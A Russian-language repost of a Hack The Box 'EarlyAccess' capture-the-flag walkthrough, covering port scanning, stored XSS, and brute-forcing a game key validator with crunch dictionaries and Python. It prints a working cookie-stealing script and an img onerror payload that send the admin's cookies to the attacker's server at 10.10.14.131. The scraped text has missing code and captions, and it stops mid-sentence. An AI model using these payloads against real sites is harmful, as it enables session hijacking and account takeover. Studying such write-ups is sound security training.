Категория > Новости > HTB EarlyAccess. Эксплуатируем веб-уязвимости и мисконфиги Docker - «Новости»
HTB EarlyAccess. Эксплуатируем веб-уязвимости и мисконфиги Docker - «Новости»16-02-2022, 00:02. Автор: Изот |
Hack The Box. Уровень сложности — Hard, но когда нас это останавливало?warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. Разведка. Сканирование портовДобавляем IP-адрес машины в
10.10.11.110 earlyaccess.htb
И запускаем сканирование портов. Справка: сканирование портовСканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа. Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта. ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция Результат работы скрипта Находим три открытых порта:
Так как на хосте работает веб‑сервер с доступом по SSH, мы можем извлечь из сертификата доменное имя сайта, для которого он действителен. В результатах сканирования Nmap привел поле Главная страница сайта Тут есть возможность регистрации и авторизации. Сделаем и то и другое, чтобы получить доступ к большему числу функций и разных мест для тестирования. Главная панель авторизованного пользователя Нам открывается связь с администратором, форум, хранилище и проверка какого‑то ключа. Эксплуатация earlyaccess.htbStored XSSЯ сразу решил протестировать форму связи с админом и проверить, нет ли уязвимостей XSS. Тестовое сообщение Отправив тестовое сообщение, можем определить две позиции для нагрузки: имя пользователя и тело сообщения. Пройдем в профиль пользователя и поставим базовую нагрузку Редактирование профиля После перехода к сообщениям видим отметку о прочитанном сообщении. Сообщения пользователя А открыв сам текст, получим отработку нашего кода. Сообщение alert(1) Так как присутствует stored XSS, мы можем украсть куки администратора. Это позволит открыть еще больше возможностей! Недавно я познакомился с отличным инструментом pyXSSPlatform, который может облегчить задачу в таких случаях. После загрузки нужно сгенерировать сертификат для нашего веб‑сервера.
openssl req -new -x509 -keyouthttps_svr_key.pem -outhttps_svr_key.pem -days3650 -nodes
Генерируем сертификатЗатем из каталога с шаблонами скопируем код для кражи куки в файл
var serverUrl = "https://10.10.14.131/cookie";//change this
var newimg = new Image();
newimg.src=serverUrl+"?cookie="+escape(document.cookie);
А затем запустим веб‑сервер.
python3 pyXSSPlatform.py 10.10.14.131 443 https_svr_key.pem
Запуск платформы для эксплуатации XSSВ качестве имени пользователя используем нагрузку, которую предоставляет pyXSSPlatform.
<img src=x onerror=with(document)body.appendChild(document.createElement('script')).src="https://10.10.14.131/index.js">img>
Снова отправим сообщение и, после того как администратор его прочитает, в логах веб‑сервера обнаружим запрос основной нагрузки, а потом и запрос с предоставленными в качестве параметра куками. Логи pyXSSPlatform Используем расширение для браузера вроде Cookie Editor, заменяем наши cookie только что полученными и обновляем страницу. Теперь у нас есть панель администратора. Панель админа KeyGenПривилегии администратора открывают нам доступ к исходному коду валидатора уже знакомого ключа, а также к двум новым сайтам —
10.10.11.110 earlyaccess.htb dev.earlyaccess.htb game.earlyaccess.htb
Панель валидатораФорма авторизации GameФорма авторизации DevТак мы можем авторизоваться от имени пользователя, если будет зарегистрирован ключ. Попробуем проанализировать алгоритм валидации и написать кейген. Первым делом в программе проверяется формат ключа. Функция mainФункция valid_format Ключ делится на пять блоков:
Из функции Функция check Допишем вывод после каждой проверки, чтобы определять, правильный ли блок мы подобрали. Измененная функция check А теперь приступим к анализу функций, которые проводят проверку. Так, в функции Функция g1_valid Чтобы не разбирать алгоритмы проверок, я решил составлять словари, переписывать эти функции и брутить! Словари составляем с помощью программы crunch. Первый словарь у меня будет состоять из трех букв и двух цифр, для этого используем маску
crunch 5 5 -t ,,,%% >g1_list.txt
Делаем кейген для этой функции на Python:
Запускаем и получаем первую часть ключа. Генерация и проверка первой части ключа Перейдем ко второй части, которая использует все буквы и цифры. Создадим словарь, а потом допишем функцию проверки:
crunch 5 5 1234567890QWERTYUIOPASDFGHJKLZXCVBNM >g2_list.txt
Функция g2_valid
def g2_valid(g2):
p1 = g2[::2]
p2 = g2[1::2]
return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode()))
Генерация и проверка второй части ключаДля генерации третьей части нам понадобится два дополнительных magic-значения. Функция g3_validMagic-значения При этом значение
crunch 3 3 -t ,,% >g3_list.txt
И с помощью следующего кода получаем третью часть ключа. Генерация и проверка третьей части ключаДля четвертой части используем словарь, который был сгенерирован для второй, а также первую часть ключа. Функция g4_valid Генерация и проверка четвертой части ключаОсталась пятая часть — контрольная сумма. Функция cs_validФункция calc_cs Для перебора я решил использовать четырехсимвольные числа, как указано в примере.
crunch 4 4 -t%%%% >>g5_list.txt
def cs_valid(g5):
return sum([sum(bytearray(g.encode())) for g in ['KEY01', '1Q1WF', 'XPAA0', 'GAME1']]) == int(g5)
Генерация пятой части и проверка ключаТак мы сделали скрипт, получили ключ, вот только сервис его не принял. Видимо, изменилось значение Перейти обратно к новости |